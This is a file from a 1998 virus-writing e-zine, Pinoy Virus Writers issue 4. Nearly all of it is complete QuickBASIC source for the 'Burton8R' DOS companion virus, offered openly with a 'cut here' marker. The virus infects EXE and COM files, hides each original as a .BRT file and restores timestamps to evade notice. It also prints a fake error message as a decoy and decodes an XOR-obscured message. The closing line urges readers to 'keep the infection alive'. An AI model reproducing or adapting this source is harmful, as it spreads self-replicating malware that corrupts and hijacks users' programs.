ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ [ Pinoy Virus Writers ] ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
                             Issue No. 4
 FILE : PVW4.008

 ÉÍÍÍ   sOuRcEs !!!  ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
 ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

                      " JUST THE BASICS "

    (þ) Here's one for the BASIC fans...
    (þ) Another high level language virus source.

  I ASSUME ...
  - That you have worked with viruses before.
  - You hate lamers.
  - You know how to program.
  - You hate lamers.
  - You cheer at Lex Luther when he smashes Superman.
  - You hate lamers.
  - You understand what you are doing.
  and lastly...
  - BASIC bores you.

    ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ [  CUT HERE  ] ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

'       ------------------------------------------------------------
'         T  H  E    B  U  R  T  O  N  8  R    V  I  R  U  S  !  !
'       ------------------------------------------------------------
' EXE/COM  infector, preserves  time and date, complimentary infector, leaves
' original  program  as .BRT  file, hidden. Will  not  infect  programs under
' 40000 bytes. No directory transversal.
TYPE EXECBlock                          ' EXEC Data Block
     EnvSeg     AS INTEGER
     CmdOfs     AS INTEGER
     CmdSeg     AS INTEGER
     FCB1Ofs    AS INTEGER
     FCB1Seg    AS INTEGER
     FCB2Ofs    AS INTEGER
     FCB2Seg    AS INTEGER
END TYPE

TYPE FindFirstNextBlock
     DrvLet     AS STRING * 1           ' Findfirst/next Data Block
     Template   AS STRING * 11
     SearchAtr  AS STRING * 1
     Reserved   AS STRING * 8
     Attribute  AS STRING * 1
     Time       AS INTEGER
     Date       AS INTEGER
     Size       AS LONG
     FileName   AS STRING * 13
END TYPE

TYPE REGTYPEX
     Ax    AS INTEGER                   ' Registers, duh!
     Bx    AS INTEGER
     Cx    AS INTEGER
     Dx    AS INTEGER
     bp    AS INTEGER
     si    AS INTEGER
     Di    AS INTEGER
     flags AS INTEGER
     Ds    AS INTEGER
     Es    AS INTEGER
END TYPE

DIM SHARED InRegsX AS REGTYPEX, OutRegsX AS REGTYPEX
DIM FDB AS FindFirstNextBlock, ReadBuf AS STRING * 5000, EB AS EXECBlock

DECLARE SUB InterruptX (INTNUM AS INTEGER, INREG AS REGTYPEX, OUTREG AS REGTYPEX)
DECLARE SUB SetFileStuff (FileName$, FTime AS INTEGER, FDate AS INTEGER, Attribute AS INTEGER)
DECLARE FUNCTION SearchEnviron$ ()

CONST IdentPos = &H203

 LOCATE , , 1, 11, 12   ' fix cursor change (QB SUCKS!)

 Which = 1: LOOKING$(1) = "*.EXE" + CHR$(0): LOOKING$(2) = "*.COM" + CHR$(0)

 InRegsX.Ax = &H2F00                     ' get old DTA location
  CALL InterruptX(&H21, InRegsX, OutRegsX)

  OldDtaSeg = OutRegsX.Es: OldDtaOfs = OutRegsX.Bx

 InRegsX.Ax = &H1A00                    ' put the dta in our code
 InRegsX.Dx = VARPTR(FDB)
 InRegsX.Ds = VARSEG(FDB)
  CALL InterruptX(&H21, InRegsX, OutRegsX)

FindFirst:
 InRegsX.Ax = &H4E00                    ' Findfirst file
 InRegsX.Cx = 0
 InRegsX.Dx = SADD(LOOKING$(Which))
 InRegsX.Ds = VARSEG(LOOKING$(Which))
FindNext:
  CALL InterruptX(&H21, InRegsX, OutRegsX)
   IF (OutRegsX.flags AND 1) = 1 THEN GOTO FindError

   FileToInfect$ = LEFT$(FDB.FileName, INSTR(FDB.FileName, CHR$(0)))
   NewName$ = LEFT$(FDB.FileName, INSTR(FDB.FileName, ".")) + "BRT" + CHR$(0)

   ' Open up the file to infect, and check for infection signature and
   ' minimum size.

   OPEN "b", #2, LEFT$(FileToInfect$, LEN(FileToInfect$) - 1)
    GET #2, IdentPos, ReadBuf
    IF LOF(2) < 40000 THEN CLOSE #2: GOTO AlreadyInfected
    IF LEFT$(ReadBuf, 8) = "BURTON8R" THEN CLOSE #2: GOTO AlreadyInfected

   ' Open the new .BRT file, and copy the old file in 5000 byte chunks.

   OPEN "o", #1, LEFT$(NewName$, LEN(NewName$) - 1)
    FOR a = 1 TO LOF(2) - (LOF(2) MOD 5000) STEP 5000
     GET #2, a, ReadBuf
     PRINT #1, ReadBuf;
    NEXT a

     GET #2, a, ReadBuf
     PRINT #1, LEFT$(ReadBuf, LOF(2) MOD 5000);
    CLOSE #1

    ' Fix the attributes, time, and date. Make .BRT hidden.
    CALL SetFileStuff(NewName$, FDB.Time, FDB.Date, 2)

   ' Write the virus to the victim file in 5000 byte chunks.
   OPEN "b", #1, SearchEnviron$
    FOR a = 1 TO 40000 STEP 5000
     GET #1, a, ReadBuf
     PUT #2, a, ReadBuf
    NEXT a
   CLOSE #1: CLOSE #2

 ' Fix attributes, time, date on victim file.
 CALL SetFileStuff(FileToInfect$, FDB.Time, FDB.Date, ASC(FDB.Attribute))
 Infection = 1

AlreadyInfected:
 InRegsX.Ax = &H4F00            ' do a findnext, if no infections done.

  IF Infection = 1 THEN GOTO SuccessfulInfection ELSE GOTO FindNext

FindError:
 Which = Which + 1: IF Which = 2 THEN GOTO FindFirst    ' switch to COM's

 ' If we get here, we are out of files to infect.
 z$ ="öÛÇŸžçÑË™ÈÛžßÝÊËßÒÒÇžžØßÒÒÛОÈ×ÝÊ×ÓžžÊÑžÊÖÛžüËÌÊÑІ̞žÈ×ÌËÍŸžêÖßʙ͞
  Ì×ÙÖÊ’žß¾³È×ÌËÍžÉÌ×ÊÊÛО×ОïË×ÝÕüÿí÷ýŸžçÑËžØÛÛÒžÎÌÛÊÊÇžÍÊËÎ×Ú’žÐÑÉ’žÚÑЙÊ
  žÇÑËŸž÷žÉÑËÒÚ¾³ÊÑÑŸžçÑËžÌÛßÒÒÇžÚÑžÍËÝÕŸ¾³"

 FOR a = 1 TO LEN(z$)
  PRINT CHR$(ASC(MID$(z$, a, 1)) XOR &HBE);
 NEXT a

 SYSTEM

SuccessfulInfection:
 InRegsX.Ax = &H1A00                    ' put the dta back where it goes
 InRegsX.Dx = OldDtaOfs
 InRegsX.Ds = OldDtaSeg
  CALL InterruptX(&H21, InRegsX, OutRegsX)

 OurName$ = SearchEnviron$   ' get name of program being run

 WHILE INSTR(OurName$, "\") <> 0        ' clean up
  OurName$ = RIGHT$(OurName$, LEN(OurName$) - INSTR(OurName$, "\"))
 WEND

 OurName$ = OurName$ + CHR$(0)          ' make it ASCIIZ

 OurName$ = LEFT$(OurName$, INSTR(OurName$, ".")) + "BRT" + CHR$(0)

 IF OurName$ = "BURTON8R.BRT" + CHR$(0) THEN
  PRINT "Error in EXE or HEX file"                 ' sneaky message!
  SYSTEM
 END IF

 InRegsX.Ax = &H6200                            ' get current PSP
  CALL InterruptX(&H21, InRegsX, OutRegsX)

 DEF SEG = OutRegsX.Bx

 EB.EnvSeg = (PEEK(&H2D) * 256) + PEEK(&H2C)    ' set up exec block
 EB.CmdOfs = &H80
 EB.CmdSeg = OutRegsX.Bx
 EB.FCB1Ofs = &H5C
 EB.FCB1Seg = OutRegsX.Bx
 EB.FCB2Ofs = &H5C
 EB.FCB2Seg = OutRegsX.Bx

  InRegsX.Ax = &H4B00                           ' EXEC the old victim
  InRegsX.Bx = VARPTR(EB)
  InRegsX.Es = VARSEG(EB)
  InRegsX.Dx = SADD(OurName$)
  InRegsX.Ds = VARSEG(OurName$)
   CALL InterruptX(&H21, InRegsX, OutRegsX)

  ' Sorry, return codes not supported!

FUNCTION SearchEnviron$
 InRegsX.Ax = &H6200
  CALL InterruptX(&H21, InRegsX, OutRegsX)

 DEF SEG = OutRegsX.Bx
 DEF SEG = (PEEK(&H2D) * 256) + PEEK(&H2C)

 FOR a = 0 TO 65536
  t$ = ""

  FOR B = a TO a + 3
   t$ = t$ + CHR$(PEEK(B))
  NEXT B

  IF t$ = CHR$(0) + CHR$(0) + CHR$(1) + CHR$(0) THEN
    WHILE PEEK(a + 4) <> 0
     S$ = S$ + CHR$(PEEK(a + 4))
     a = a + 1
    WEND
   SearchEnviron$ = S$
   EXIT FUNCTION
  END IF
 NEXT a
END FUNCTION

SUB SetFileStuff (FileName$, FTime AS INTEGER,
                  FDate AS INTEGER, Attribute AS INTEGER)

 InRegsX.Ax = &H3D00
 InRegsX.Dx = SADD(FileName$)
 InRegsX.Ds = VARSEG(FileName$)
  CALL InterruptX(&H21, InRegsX, OutRegsX)
   Handle = OutRegsX.Ax

 InRegsX.Ax = &H5701
 InRegsX.Bx = Handle
 InRegsX.Dx = FDate
 InRegsX.Cx = FTime
  CALL InterruptX(&H21, InRegsX, OutRegsX)

 InRegsX.Ax = &H3E00
 InRegsX.Bx = Handle
  CALL InterruptX(&H21, InRegsX, OutRegsX)

 InRegsX.Ax = &H4301
 InRegsX.Dx = SADD(FileName$)
 InRegsX.Ds = VARSEG(FileName$)
 InRegsX.Cx = Attribute
  CALL InterruptX(&H21, InRegsX, OutRegsX)
END SUB
   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ [  CUT HERE  ] ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

" Keep the infection alive..."

                                                          - Zoom23
                                                          PVW#4 1998